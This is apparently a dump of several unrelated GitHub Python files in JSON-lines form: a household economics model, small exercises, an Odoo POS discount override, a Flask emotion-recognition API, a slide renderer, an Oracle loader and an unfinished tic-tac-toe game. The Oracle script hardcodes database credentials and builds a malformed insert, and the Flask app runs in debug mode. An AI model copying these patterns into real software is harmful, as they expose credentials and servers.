self.grow_seas_essential_activities_hrs_day * 365\n self.non_essential_activites_year = self.grow_seas_non_essential_activities_hrs_day * 365\n\n # Currently only for normal years. Need to define drought years and attacth to form object then add if statement\n # This is total hours per year spent doing activities\n self.total_domestic_labour = self.year_wood_collect + self.water_collection_yearly_normal + \\\n self.essential_activities_year + self.non_essential_activites_year\n self.total_dom_labour_year_value = self.total_domestic_labour * self.wage_hour\n\n return self.total_dom_labour_year_value\n\n\nclass HouseholdPurchasesSales:\n\n '''\n Class to store information on household/farm purchases and sales\n '''\n\n def __init__(self, purchase_sales_data):\n\n purchase_sales_data= purchase_sales_data\n self.category = purchase_sales_data[0]\n self.name = purchase_sales_data[1]\n self.dryseas_pur_price = purchase_sales_data[2]\n self.cost_units = purchase_sales_data[3]\n self.dryseas_pur_quant = purchase_sales_data[4]\n self.quant_units = purchase_sales_data[5]\n self.wetseas_pur_price = purchase_sales_data[6]\n self.wetseas_pur_quant = purchase_sales_data[7]\n self.dryseas_sale_price = purchase_sales_data[8]\n self.dryseas_sale_quant = purchase_sales_data[9]\n self.wetseas_sale_price = purchase_sales_data[10]\n self.wetseas_sale_quant = purchase_sales_data[11]\n\n\n\ndef test_economics_algorithms(form):\n\n '''\n Algorithm to model household economics\n '''\n\n #----------------------------------------------------------\n # Import data on purchases and sales, and labour, from excel spreadsheet\n # Save as a DataFrame\n mgmt_dir = form.w_run_dir3.text()\n econ_xls_fname = normpath(join(mgmt_dir, FNAME_ECONOMICS))\n if not isfile(econ_xls_fname):\n try:\n copyfile(form.settings['econ_xls_fn'], econ_xls_fname)\n except (FileNotFoundError, KeyError) as err:\n print(err)\n return -1\n else:\n print('Copied economics Excel file ' + FNAME_ECONOMICS + ' from templates')\n\n purch_sales_df = read_econ_purch_sales_sheet(econ_xls_fname, 'Purchases & Sales', 3)\n purch_sales_df = purch_sales_df.drop(columns=['Units.2','Units.3', 'Units.4', 'Units.5', 'Units.6', 'Units.7',\n 'Unnamed: 18'])\n purch_sales_df.columns= ['category', 'name', 'dryseas_pur_pr', 'units', 'dryseas_pur_quant', 'measure',\n 'wetseas_pur_pr', 'wetseas_pur_quant', 'dryseas_sale_pr', 'dryseas_sale_quant',\n 'wetseas_sale_pr', 'wetseas_sale_quant']\n # Calculate value of all sales\n purch_sales_df['dryseas_sales_value'] = purch_sales_df['dryseas_sale_pr'] * purch_sales_df['dryseas_sale_quant']\n purch_sales_df['wetseas_sales_value'] = purch_sales_df['wetseas_sale_pr'] * purch_sales_df['wetseas_sale_quant']\n\n labour_df = read_econ_labour_sheet(econ_xls_fname, 'Labour', 0)\n\n # ----------------------------------------\n # Create instances of HouseholdPurchasesSales Class using Dataframe created from excel sheet. Store in list.\n hh_purchases_sales = []\n for index, calcs in purch_sales_df.iterrows():\n hh_ps_instance = HouseholdPurchasesSales(calcs)\n hh_purchases_sales.append(hh_ps_instance)\n\n # ----------------------------------------\n # Create instances of HouseholdMembers Class using Dataframe created from excel sheet. Store in list.\n hh_members = []\n labour_df = labour_df.iloc[: , 1:]\n for column_name, column_data in labour_df.iteritems():\n hh_lab_instance = HouseholdMembers(column_name, column_data)\n if hh_lab_instance.number == 0:\n pass\n else:\n hh_members.append(hh_lab_instance)\n\n # ----------------------------------------\n # Check if crop model has been run\n # If yes > import crop production data for forward run\n # If no > prompt user\n if form.crop_run:\n crop_data = form.crop_production\n\n else:\n crop_data = {}\n print('No crop data! Please run C and N model first')\n\n #----------------------------------------\n # Check if livestock model has been run\n # If yes > Import livestock data and get total yearly manure production data for forward run\n # If no > Prompt user\n if form.livestock_run:\n manure_data = form.total_an_prod_all_subareas\n management_type_manure_dic = {}\n for management_type, calcs in manure_data.items():\n calc_method_manure_dic = {}\n for calc_method, livestock in calcs.items():\n # Create variable which stores list of lists, each list is an animals manure production per year\n manure_fr = []\n for animal, prod_data in livestock.items():\n manure_fr.append(prod_data['manure_prod_fr'])\n # Sum all manure production to get total produced each year for all animals\n total_manure_fr = [sum(i) for i in zip(*manure_fr)]\n # Update dictionary with calculation method total production\n calc_method_manure_dic.update({calc_method: total_manure_fr})\n management_type_manure_dic.update({management_type:calc_method_manure_dic})\n\n else:\n print('No manure production data! Please run livestock module')\n\n #----------------------------------------\n # Calculate value of crops produced\n # First create list containing only instances of crops\n crop_purch_sales = []\n for good in hh_purchases_sales:\n if good.category == 'crop':\n crop_purch_sales.append(good)\n else:\n continue\n\n # Calculate value of crops produced on a yearly basis\n all_management_crops_value_dic = {}\n for management_type, calc_methods in crop_data.items():\n fr_crop_sales_value = {}\n for method, crops in calc_methods.items():\n all_yrs_crop_sale_value = []\n for year in crops:\n yearly_crop_sales_value = {}\n for single_crop_name, single_crop_yield in year.items():\n for good in crop_purch_sales:\n if good.name == single_crop_name:\n # USING DRY SEASON PRICE TO CALCULATE - SHOULD IT BE WET SEASON? OR AVERAGE?\n # Assume input is in ETB/$ per kg, so multiply by 1000 to get ETB/$ per tonne\n value_of_good = (good.dryseas_sale_price * 1000) * single_crop_yield\n value_of_good_dic = {single_crop_name : value_of_good}\n yearly_crop_sales_value.update(value_of_good_dic)\n else:\n continue\n total_sales = sum(yearly_crop_sales_value.values())\n yearly_crop_sales_value.update({'Total Crop Sales': total_sales})\n all_yrs_crop_sale_value.append(yearly_crop_sales_value)\n fr_crop_sales_value.update({method : all_yrs_crop_sale_value})\n all_management_crops_value_dic.update({management_type: fr_crop_sales_value})\n\n # Collapse all subareas into one to show total crop sales for household\n keys = []\n values = []\n items = all_management_crops_value_dic.items()\n for item in items:\n keys.append(item[0]), values.append(item[1])\n\n total_crop_sales = {}\n for value in values:\n for man_type, crop_value in value.items():\n if man_type not in total_crop_sales.keys():\n fr_crop_values = []\n for year in crop_value:\n value = year['Total Crop Sales']\n fr_crop_values.append(value)\n total_crop_sales.update({man_type : fr_crop_values})\n else:\n fr_crop_values = []\n for year in crop_value:\n value = year['Total Crop Sales']\n fr_crop_values.append(value)\n dic_value = total_crop_sales[man_type]\n new_value = [x + y for x, y in zip(fr_crop_values, dic_value)]\n total_crop_sales.update({man_type : new_value})\n\n # ----------------------------------------\n # Calculate dry and wet season fixed sales (i.e. those taken from excel input)\n dry_seas_fixed_sales_total = purch_sales_df['dryseas_sales_value'].sum()\n wet_seas_fixed_sales_total = purch_sales_df['wetseas_sales_value'].sum()\n\n # ----------------------------------------\n # Calculate value of time for each household member undertaking agricultural activities (including dung collection)\n # and other activities (collecting water, firewood, cooking)\n # Total working hours is currently total hours awake NEED TO CHANGE?\n household_working_hours = []\n household_ag_labour_value = []\n household_dom_labour_value = []\n for person_type in hh_members:\n household_working_hours.append(person_type.value_of_labour_year)\n household_ag_labour_value.append(person_type.agricultural_labour_calc())\n household_dom_labour_value.append(person_type.domestic_labour_calc())\n\n total_hh_working_hours = sum(household_working_hours)\n total_hh_ag_value = sum(household_ag_labour_value)\n total_dom_labour_value = sum(household_dom_labour_value)\n\n #----------------------------------------\n # Equation to calculate full household income for each year in the forward run, and based on the three crop calc\n # methods\n # DAP and Urea not included yet\n # CHECK THIS EQUATION IS CORRECT\n all_subareas_full_hh_dic = {}\n for calc_method, fr_years in total_crop_sales.items():\n fr_total_hh_income = []\n for year in fr_years:\n # values divided by 1000 to normalise data\n total_hh_income = (year/1000) - (total_hh_ag_value/1000) - (total_dom_labour_value/1000) + \\\n (total_hh_working_hours/1000)\n fr_total_hh_income.append(total_hh_income)\n all_subareas_full_hh_dic.update({calc_method : fr_total_hh_income})\n\n # ----------------------------------------\n # Calculate values to be used in equations for PCC, food insecurity, and dietary diversity\n # Livestock: Are all livestock worth the same? I.e do cow, pig, chicken all = 1. For now they do\n tlu = 0\n livestock_list = form.livestock_list\n for animal_type in livestock_list:\n animal_type_total = animal_type.number\n tlu = tlu + animal_type_total\n tlu_squared = tlu * tlu\n\n # Land utilised in Ha (calculated by adding up all subareas)\n land = 0\n for subarea, data in form.all_runs_crop_model.items():\n subarea_area = data.area_ha\n land = land + subarea_area\n land_squared = land * land\n\n # Size of household in adult equivalents - how to deal with children ( assume 1/2 of adult just now)\n # Using simple equivalence scales\n household_size = 0\n for people in hh_members:\n if people.name == 'Male adults':\n household_size = household_size + people.number\n elif people.name == 'Female adults':\n household_size = household_size + people.number\n elif people.name == 'Male children':\n household_size = household_size + (people.number * 0.5)\n elif people.name == 'Female children':\n household_size = household_size + (people.number * 0.5)\n else:\n print ('Please enter family members in economics sheet as either '\n 'Male adults, Female adults, Male children, or Female children')\n continue\n household_size_log = numpy.log(household_size)\n\n # ----------------------------------------\n # Equation to calculate PER CAPITA CONSUMPTION\n # Only using variables of household income, total livestock units, and land owned\n\n # Alpha values for PCC\n # Intercept\n pcc_alpha_0 = 9.194\n # Full Household income\n pcc_alpha_1 = 0.0154\n # Land\n pcc_alpha_2 = 0.0351\n # Land squared\n pcc_alpha_3 = -0.0000816\n # Total land utilised\n pcc_alpha_4 = 0.0211\n # Total land utilised squared\n pcc_alpha_5 = -0.000396\n # Log - Household size adult equivalents\n pcc_alpha_6 = -0.399\n # Regional price index\n pcc_alpha_7 = 1\n\n # Use Full Household income for each year for each calc method to calculate yearly PCC\n farm_pcc = {}\n for calc_method, calcs in all_subareas_full_hh_dic.items():\n fr_pcc = []\n for year in calcs:\n # year is FHI for each year\n year_pcc = pcc_alpha_0 + (pcc_alpha_1 * year) + (pcc_alpha_2 * land) + (pcc_alpha_3 * land_squared) + \\\n (pcc_alpha_4 * tlu) + (pcc_alpha_5 * tlu_squared) + (pcc_alpha_6 * household_size_log) +\\\n pcc_alpha_7\n fr_pcc.append(year_pcc)\n farm_pcc.update({calc_method : fr_pcc})\n# farm_pcc = farm_pcc\n\n # ----------------------------------------\n # Equation to calculate RELATIVE FOOD INSECURITY. Each year will return value between 0 and 1\n # Only using variables of household income, total livestock units, and land owned\n\n # Alpha values for RFI\n # Intercept\n rfi_alpha_0 = -1.782\n # Full Household income\n rfi_alpha_1 = -0.0333\n # Land\n rfi_alpha_2 = -0.102\n # Land squared\n rfi_alpha_3 = 0.000222\n # Total land utilised\n rfi_alpha_4 = -0.008400\n # Total land utilised squared\n # NO DATA SO REMOVED FROM EQUATION\n rfi_alpha_5 = 0\n # Log - Household size adult equivalents\n rfi_alpha_6 = 0.802\n # Regional price index\n # CHECK!!!!\n rfi_alpha_7 = 1\n\n # Use Full Household income for each year for each calc method to calculate yearly relative food insecurity\n farm_rfi = {}\n for calc_method, calcs in all_subareas_full_hh_dic.items():\n fr_rfi = []\n for year in calcs:\n # year is FHI for each year\n year_rfi = rfi_alpha_0 + (rfi_alpha_1 * year) + (rfi_alpha_2 * land) + (rfi_alpha_3 * land_squared) + \\\n (rfi_alpha_4 * tlu) + (rfi_alpha_6 * household_size_log) + rfi_alpha_7\n # Calculate probit to return value between 0 and 1\n year_rfi = norm.cdf(year_rfi)\n fr_rfi.append(year_rfi)\n farm_rfi.update({calc_method : fr_rfi})\n# farm_rfi = farm_rfi\n\n # ----------------------------------------\n # Equation to calculate DIETARY DIVERSITY.\n # Each year will return value that estimates number of food items consumed\n # Only using variables of household income, total livestock units, and land owned\n\n # Alpha values for Dietary Diversity\n # Intercept\n dd_alpha_0 = 1.782\n # Full Household income\n dd_alpha_1 = 0.000182\n # Land\n dd_alpha_2 = 0.00718\n # Land squared\n dd_alpha_3 = -0.0000185\n # Total land utilised\n dd_alpha_4 = 0.00544\n # Agriculutrual Diversity (Number of crops)\n dd_alpha_5 = 0.0269\n # Log - Household size adult equivalents\n dd_alpha_6 = 0.0784\n # Regional price index\n # CHECK!!!!\n dd_alpha_7 = 1\n\n # Number of crops grown by household in year\n # Bug in crop model so this is hard coded for now\n number_of_crops = 5\n crop_data = form.all_runs_crop_model\n for subarea, crops in crop_data.items():\n crop_list = crops.data['crops_ann']\n fr_years = crops.nyears_fwd\n crops_fr = crop_list[-fr_years:]\n\n # Use Full Household income for each year for each calc method to calculate yearly dietary diversity\n farm_diet_div = {}\n for calc_method, calcs in all_subareas_full_hh_dic.items():\n diet_div = []\n for year in calcs:\n # year is FHI for each year\n year_dd = dd_alpha_0 + (dd_alpha_1 * year) + (dd_alpha_2 * land) + (dd_alpha_3 * land_squared) + \\\n (dd_alpha_4 * tlu) + (dd_alpha_5 * number_of_crops) + (dd_alpha_6 * household_size_log) + \\\n dd_alpha_7\n diet_div.append(year_dd)\n farm_diet_div.update({calc_method: diet_div})\n\n\n\n# data = {}\n# for calc_method, calcs in all_subareas_full_hh_dic.items():\n# if calc_method == 'n_lim':\n# data.update({'full_hh_income_n_lim' : calcs})\n# elif calc_method == 'zaks':\n# data.update({'full_hh_income_zaks' : calcs})\n# elif calc_method == 'miami':\n# data.update({'full_hh_income_miami': calcs})\n # ----------------------------------------\n # Put all calcs in format that can be read by GUI graph constructor THIS NEEDS TO BE A CLASS OBJECT\n # Start woth full household income\n\n economics_GUI_class = form.all_farm_livestock_production\n for calc_method, calcs in all_subareas_full_hh_dic.items():\n if calc_method == 'n_lim':\n economics_GUI_class['full_farm'].data['full_hh_income_n_lim'] = calcs\n elif calc_method == 'zaks':\n economics_GUI_class['full_farm'].data['full_hh_income_zaks'] = calcs\n elif calc_method == 'miami':\n economics_GUI_class['full_farm'].data['full_hh_income_miami'] = calcs\n\n # Add PCC to form object for GUI graph constructor\n for calc_method, calcs in farm_pcc.items():\n if calc_method == 'n_lim':\n economics_GUI_class['full_farm'].data['per_capita_consumption_n_lim'] = calcs\n elif calc_method == 'zaks':\n economics_GUI_class['full_farm'].data['per_capita_consumption_zaks'] = calcs\n elif calc_method == 'miami':\n economics_GUI_class['full_farm'].data['per_capita_consumption_miami'] = calcs\n\n # Add RFI to form object for GUI graph constructor\n for calc_method, calcs in farm_rfi.items():\n if calc_method == 'n_lim':\n economics_GUI_class['full_farm'].data['relative_food_insecurity_n_lim'] = calcs\n elif calc_method == 'zaks':\n economics_GUI_class['full_farm'].data['relative_food_insecurity_zaks'] = calcs\n elif calc_method == 'miami':\n economics_GUI_class['full_farm'].data['relative_food_insecurity_miami'] = calcs\n\n # Add dietary diversity to form object for GUI graph constructor\n for calc_method, calcs in farm_diet_div.items():\n if calc_method == 'n_lim':\n economics_GUI_class['full_farm'].data['dietary_diversity_n_lim'] = calcs\n elif calc_method == 'zaks':\n economics_GUI_class['full_farm'].data['dietary_diversity_zaks'] = calcs\n elif calc_method == 'miami':\n economics_GUI_class['full_farm'].data['dietary_diversity_miami'] = calcs\n\n form.all_farm_livestock_production = economics_GUI_class\n\n print('Economics calcs completed')\n return\n","repo_name":"NewEconomicPolicy/testPyOra","sub_path":"BioModels/ora_economics_model.py","file_name":"ora_economics_model.py","file_ext":"py","file_size_in_byte":24477,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"13637318805","text":"n = int(input(\"Digite o valor de n: \"))\nk = int(input(\"Digite o valor de k \"))\n\n\ndef fatorial(numero):\n fat = 1\n while numero > 1:\n fat = fat * numero\n numero = numero - 1\n return fat\n\n\ndef num_binomial(n, k):\n if n < k:\n print(\"Não é possível executar o calculo\")\n return 0\n else:\n return fatorial(n) / (fatorial(k) * fatorial(n - k))\n\n\nprint(num_binomial(n, k))\n","repo_name":"ropecual/Introducao-Ciencia-da-Computacao-com-Python","sub_path":"Parte 1/semana 5/coeficiente_binomial.py","file_name":"coeficiente_binomial.py","file_ext":"py","file_size_in_byte":417,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"21201332420","text":"from dotenv import load_dotenv\nimport os\nimport httpx\n\nload_dotenv()\narl = os.environ.get(\"deezer_arl\")\n\nheaders = {\"Accept-Encoding\": \"gzip, deflate\"}\ncookies = {'arl': arl}\n\nasync def get_deezer_track(isrc):\n response = httpx.get('https://api.deezer.com/2.0/track/isrc:' + isrc, cookies=cookies, headers=headers)\n return response.json()","repo_name":"G3VV/Yank","sub_path":"util/deezer.py","file_name":"deezer.py","file_ext":"py","file_size_in_byte":352,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"30"} +{"seq_id":"2554314287","text":"from jinja2 import Template\nfrom jinja2schema import infer\n\nif __name__ == '__main__':\n\n import tomli\n import yaml\n\n with open('forms.yaml', 'rb') as f:\n forms = yaml.safe_load(f)\n\n # with open('forms.toml', 'rb') as f:\n # forms = tomli.load(f)\n\n print(forms)\n\n for form in forms.items():\n print(form)\n\n quit()\n call = {}\n\n for cell in need_to_run(book):\n print('>', cell)\n lang = cell.get('lang', 'python')\n execute(lang, cell['code'], call)\n # break\n\n print(call)\n\n# NB\n# notebook is a collection of cells\n# runner is a notebook's running context, so r = Runner(notebook)\n# engine starts / contains many blades\n# runner.engine = default_engine\n# blade identity\n# owned or shared\n# venv-name:\n# skillset: pandas\n# color: cds BASKET\n# affinity: credit with cds curves\n# capacity: min, max\n\n","repo_name":"lizh06/toolz","sub_path":"lab/test_forms.py","file_name":"test_forms.py","file_ext":"py","file_size_in_byte":915,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"6178026812","text":"# -*- coding: utf-8 -*-\n\nimport logging\nfrom odoo import fields, api, models\nfrom odoo.tools.translate import _\nfrom odoo.exceptions import UserError\n\n\nclass NewPosOrder(models.Model):\n _inherit = \"pos.order\"\n\n @api.depends('statement_ids', 'lines.price_subtotal_incl', 'lines.discount', 'lines.discount_fixed',\n 'discount_total', 'discount_percent')\n def _compute_amount_all(self):\n super(NewPosOrder, self)._compute_amount_all()\n for order in self:\n service_sum = 0\n for line in order.lines:\n if line.product_id.type == 'service':\n service_sum += line.price_subtotal\n currency = order.pricelist_id.currency_id\n amount_untaxed = currency.round(sum(line.price_subtotal for line in order.lines))\n service_sum = currency.round(service_sum)\n order.amount_total = order.amount_tax + amount_untaxed\n if service_sum > order.discount_total:\n order.amount_total -= order.discount_total\n order.amt_discount = order.discount_total\n if order.discount_percent > 0:\n order.amount_total -= (service_sum * order.discount_percent / 100)\n order.amt_discount = (service_sum * order.discount_percent / 100)\n order.amt_before_discount = order.amount_tax + amount_untaxed\n","repo_name":"joevm018/temasq","sub_path":"discount_restricted/models/pos_order.py","file_name":"pos_order.py","file_ext":"py","file_size_in_byte":1383,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"32229286079","text":"import json\nimport numpy\nimport time\nimport uuid\nimport os\nimport Music\nfrom tflearn import DNN\nfrom cv2 import CascadeClassifier\nfrom flask import Flask, jsonify, request, make_response, Response\nfrom flask_cors import CORS\nfrom Network import Network\n\nclass MyEncoder(json.JSONEncoder):\n def default(self, obj):\n if isinstance(obj, numpy.integer):\n return int(obj)\n elif isinstance(obj, numpy.floating):\n return float(obj)\n elif isinstance(obj, numpy.ndarray):\n return obj.tolist()\n else:\n return super(MyEncoder, self).default(obj)\n\napp = Flask(__name__, static_url_path = \"\")\nCORS(app)\nmodel_path = \"./Model/fjra_30.tfl\"\n\nnetwork = Network.Define()\nmodel = DNN(network)\nmodel.load(model_path)\ncascade = CascadeClassifier(\"./Utils/cascade.xml\")\n\n@app.errorhandler(400)\ndef not_found(error):\n\treturn make_response(jsonify( { 'error': 'Bad request' } ), 400)\n\n@app.errorhandler(404)\ndef not_found(error):\n\treturn make_response(jsonify( { 'error': 'Not found' } ), 404)\n\n@app.route('/emotions/api/v1.0/recognition', methods=['POST'])\ndef image():\n\tname = str(uuid.uuid4())+\".jpg\"\n\ti = request.files['image'] # get the image\n\ti.save(name)\n\t\n\tstart_time = time.time()\n\tp = Network.Predict(name,model_path,\"./Utils/cascade.xml\",load=model,openCv=cascade)\n\tsongs = Music.GetByMood(p[0][0])\n\telapsed_time = time.time() - start_time\n\t\n\tos.remove(name)\n\tp.append(elapsed_time)\n\tp.append(songs)\n\tj = json.dumps(p,cls=MyEncoder)\n\n\treturn Response(j)\n \nif __name__ == '__main__':\n\tapp.run(debug = True)\n","repo_name":"pietrobolcato/emotion-recognition-bachelor-thesis","sub_path":"Api.py","file_name":"Api.py","file_ext":"py","file_size_in_byte":1572,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"21250379189","text":"import os\nimport sys\nimport time\nimport subprocess\nimport json\nimport logging\nimport traceback\nfrom .BaseAction import BaseAction\nfrom .Presentation import Presentation\nfrom .RenderingParameters import RenderingParameters\nfrom .Renderer import Renderer\nfrom .Exceptions import XMLFileNotFoundException, CallingProcessException, PyRadiumException, DeploymentException\nfrom .Enums import PresentationFeature\nfrom .Deployment import Deployment\n\n_log = logging.getLogger(__spec__.name)\n\nclass ActionRender(BaseAction):\n\t_DEFAULT_PRESENTATION_FEATURES = set([ PresentationFeature.Interactive, PresentationFeature.Timer, PresentationFeature.Pause ])\n\n\tdef _wait_for_change(self, renderer):\n\t\tcmd = [ \"inotifywait\" ]\n\t\tcmd += [ \"-q\", \"-r\" ]\n\t\tcmd += [ \"--exclude\", r\"\\..*\\.sw[a-z]\" ]\n\t\tcmd += [ \"-e\", \"modify\", \"-e\", \"close_write\", \"-e\", \"create\" ]\n\n\t\tsources = [ ]\n\t\tsources += renderer.presentation.sources\n\t\tsources += renderer.rendering_params.template_dirs\n\t\tsources += renderer.rendering_params.include_dirs\n\t\tsources += self._args.re_render_watch\n\t\tsources = [ source for source in sources if os.path.exists(source) ]\n\t\tcmd += sources\n\t\tproc = subprocess.run(cmd, check = False)\n\t\tif proc.returncode not in [ 0, 1 ]:\n\t\t\traise CallingProcessException(\"inotifywait returned with returncode %d.\" % (proc.returncode))\n\n\tdef _get_presentation_features(self):\n\t\tpresentation_features = set(self._DEFAULT_PRESENTATION_FEATURES)\n\t\tenabled_features = set(PresentationFeature(x) for x in self._args.enable_presentation_feature)\n\t\tdisabled_features = set(PresentationFeature(x) for x in self._args.disable_presentation_feature)\n\t\toverlap = enabled_features & disabled_features\n\t\tif len(overlap) > 0:\n\t\t\tprint(\"Presentation feature can not be enabled and disabled at the same time: %s\" % (\", \".join(sorted(value.name for value in overlap))), file = sys.stderr)\n\t\t\treturn None\n\t\tpresentation_features |= enabled_features\n\t\tpresentation_features -= disabled_features\n\n\t\tif (PresentationFeature.Timer in presentation_features) and (PresentationFeature.Interactive not in presentation_features):\n\t\t\t_log.warning(\"The 'timer' feature implies the 'interactive' feature, which has been selected as well.\")\n\t\t\tpresentation_features.add(PresentationFeature.Interactive)\n\t\treturn presentation_features\n\n\tdef run(self):\n\t\tpresentation_features = self._get_presentation_features()\n\t\tif presentation_features is None:\n\t\t\treturn 1\n\n\t\tif len(presentation_features) == 0:\n\t\t\t_log.debug(\"Rendering without any presentation features.\")\n\t\telse:\n\t\t\t_log.debug(\"Rendering with features: %s\", \", \".join(sorted(value.name for value in presentation_features)))\n\n\t\tif (not self._args.force) and os.path.exists(self._args.outdir):\n\t\t\tprint(\"Refusing to overwrite: %s\" % (self._args.outdir), file = sys.stderr)\n\t\t\treturn 1\n\n\t\tif self._args.inject_metadata is None:\n\t\t\tinjected_metadata = None\n\t\telse:\n\t\t\twith open(self._args.inject_metadata) as f:\n\t\t\t\tinjected_metadata = json.load(f)\n\t\t\t\t_log.debug(\"Injected metadata: %s\", str(injected_metadata))\n\n\t\tif self._args.resource_dir is not None:\n\t\t\t(resource_dir, resource_uri) = self._args.resource_dir\n\t\telse:\n\t\t\t(resource_dir, resource_uri) = (self._args.outdir, \"\")\n\n\t\trenderer = None\n\t\twhile True:\n\t\t\tforce_wait_secs = None\n\t\t\ttry:\n\t\t\t\trender_success = False\n\t\t\t\tt0 = time.time()\n\t\t\t\trendering_parameters = RenderingParameters(\n\t\t\t\t\t\ttemplate_style = self._args.template_style,\n\t\t\t\t\t\ttemplate_style_opts = self._args.style_option,\n\t\t\t\t\t\thonor_pauses = not self._args.remove_pauses,\n\t\t\t\t\t\tcollapse_animation = self._args.collapse_animation,\n\t\t\t\t\t\textra_template_dirs = self._args.template_dir,\n\t\t\t\t\t\tinclude_dirs = [ os.path.dirname(self._args.infile) or \".\" ] + self._args.include_dir,\n\t\t\t\t\t\tindex_filename = self._args.index_filename,\n\t\t\t\t\t\tresource_uri = resource_uri,\n\t\t\t\t\t\tgeometry = self._args.geometry,\n\t\t\t\t\t\timage_max_dimension = self._args.image_max_dimension,\n\t\t\t\t\t\tpresentation_features = presentation_features,\n\t\t\t\t\t\tinjected_metadata = injected_metadata,\n\t\t\t\t\t\ttrustworthy_source = self._args.trustworthy_source,\n\t\t\t\t\t\tallow_missing_svg_fonts = self._args.allow_missing_svg_fonts)\n\t\t\t\tpresentation = Presentation.load_from_file(self._args.infile, rendering_parameters)\n\t\t\t\trenderer = Renderer(presentation, rendering_parameters)\n\t\t\t\trendered_presentation = renderer.render(resource_directory = resource_dir, deploy_directory = self._args.outdir)\n\t\t\t\tt1 = time.time()\n\t\t\t\t_log.info(\"Successfully rendered presentation into directory \\\"%s\\\", took %.1f seconds\", self._args.outdir, t1 - t0)\n\n\t\t\t\tif self._args.deploy_presentation:\n\t\t\t\t\tif \"deployment\" not in presentation.variables:\n\t\t\t\t\t\traise DeploymentException(\"Deployment requested, but no deployment configuration available.\")\n\t\t\t\t\tdeployment = Deployment(deployment_configuration = presentation.variables[\"deployment\"], presentation_directory = self._args.outdir)\n\t\t\t\t\tif len(self._args.deployment_name) == 0:\n\t\t\t\t\t\tdeployment.deploy(\"default\")\n\t\t\t\t\telse:\n\t\t\t\t\t\tfor configuration_name in self._args.deployment_name:\n\t\t\t\t\t\t\tdeployment.deploy(configuration_name)\n\t\t\t\trender_success = True\n\t\t\texcept XMLFileNotFoundException as e:\n\t\t\t\t# This can happen when we save an XML file in VIM and inotify\n\t\t\t\t# notifies pyradium too quickly (while the file is still not\n\t\t\t\t# existent). Then we want to re-render quickly to remedy the issue.\n\t\t\t\t_log.error(\"Rendering failed: [%s] %s\", e.__class__.__name__, str(e))\n\t\t\t\tforce_wait_secs = 1\n\t\t\texcept PyRadiumException as e:\n\t\t\t\t_log.error(\"Rendering failed: [%s] %s\", e.__class__.__name__, str(e))\n\t\t\t\tif _log.isEnabledFor(logging.DEBUG):\n\t\t\t\t\tprint(traceback.format_exc())\n\t\t\tif not self._args.re_render_loop:\n\t\t\t\tbreak\n\t\t\tif (renderer is None) or (force_wait_secs is not None):\n\t\t\t\tsleep_duration_secs = force_wait_secs or 5\n\t\t\t\t_log.warning(\"Unable to watch files for change since parsing the source was impossible; sleeping for %d seconds instead.\", sleep_duration_secs)\n\t\t\t\ttime.sleep(sleep_duration_secs)\n\t\t\telse:\n\t\t\t\tself._wait_for_change(renderer)\n\t\treturn 0 if render_success else 1\n","repo_name":"johndoe31415/pyradium","sub_path":"pyradium/ActionRender.py","file_name":"ActionRender.py","file_ext":"py","file_size_in_byte":6009,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"30"} +{"seq_id":"3435469682","text":"import cx_Oracle\ndb = cx_Oracle.connect('etl', 'etl', '10.2.2.50:1521/dwhdev')\ncursor = db.cursor()\n\nfile = open('C:/Users/AYator/Desktop/Trial.txt.txt','r')\nfile_content = file.read()\n\nfile.close()\n\nquery = \"\"\"INSERT INTO ETL.MANIFEST(NAME,TRIAL,LEVEL0,GENDER,LEVEL1,LEVEL2,LEVEL3,LEVEL4,LEVEL5,LEVEL6)\n values ('%s','%s','%s','%s','%s','%s','%s','%s','%s','%s')\"\"\"\nvalues = [line.split() for line in file_content]\ncursor.execute(query,values)\n\ndb.commit()\ncursor.close()\ndb.close()","repo_name":"yator/manifest","sub_path":"manifest.py","file_name":"manifest.py","file_ext":"py","file_size_in_byte":483,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"30"} +{"seq_id":"26014148772","text":"import random\r\n\r\nboard = [\"-\", \"-\", \"-\",\r\n \"-\", \"-\", \"-\",\r\n \"-\", \"-\", \"-\"]\r\ncurrentPlayer = \"X\"\r\nwinner = None\r\ngameRunning = True\r\n\r\n# printing the game board\r\n\r\ndef printBoard(board):\r\n print(board[0] + \" | \" + board[1] + \" | \" + board[2])\r\n print(\"----------\")\r\n print(board[3] + \" | \" + board[4] + \" | \" + board[5])\r\n print(\"----------\")\r\n print(board[6] + \" | \" + board[7] + \" | \" + board[8])\r\n print(\"\")\r\n\r\n# take player input\r\n\r\ndef playerInput(board):\r\n print(\"Now is your turn! Select your position!\")\r\n inp = int(input(\"Enter a number 1-9: \"))\r\n if inp >= 1 and inp <= 9 and board[inp-1] == \"-\":\r\n board[inp-1] = currentPlayer\r\n else: print(\"Oops. Probably this spot already taken or doesn't exist.\")\r\n\r\n# check for win or tie\r\ndef checkHorizontle(board):\r\n global winner\r\n if board[0] == board[1] == board[2] and board[0] != \"-\":\r\n winner = board[0]\r\n return True\r\n elif board[3] == board[4] == board[5] and board[3] != \"-\":\r\n winner = board[3]\r\n return True\r\n elif board[6] == board[7] == board[8] and board[6] != \"-\":\r\n winner = board[6]\r\n return True\r\n\r\ndef checkRow(board):\r\n global winner\r\n if board[0] == board[3] == board[6] and board[0] != \"-\":\r\n winner = board[0]\r\n return True\r\n elif board[1] == board[4] == board[7] and board[1] != \"-\":\r\n winner = board[1]\r\n return True\r\n elif board[2] == board[5] == board[8] and board[2] != \"-\":\r\n winner = board[2]\r\n return True\r\n\r\ndef checkDiag(board):\r\n global winner\r\n if board[0] == board[4] == board[8] and board[0] != \"-\":\r\n winner = board[0]\r\n return True\r\n elif board[2] == board[4] == board[6] and board[2] != \"-\":\r\n winner = board[2]\r\n return True\r\n\r\ndef checkTie(board):\r\n global gameRunning\r\n if \"-\" not in board and (checkDiag(board) == checkHorizontle(board) == checkRow(board) == False):\r\n printBoard(board)\r\n print(\"It's a tie!\")\r\n gameRunning = 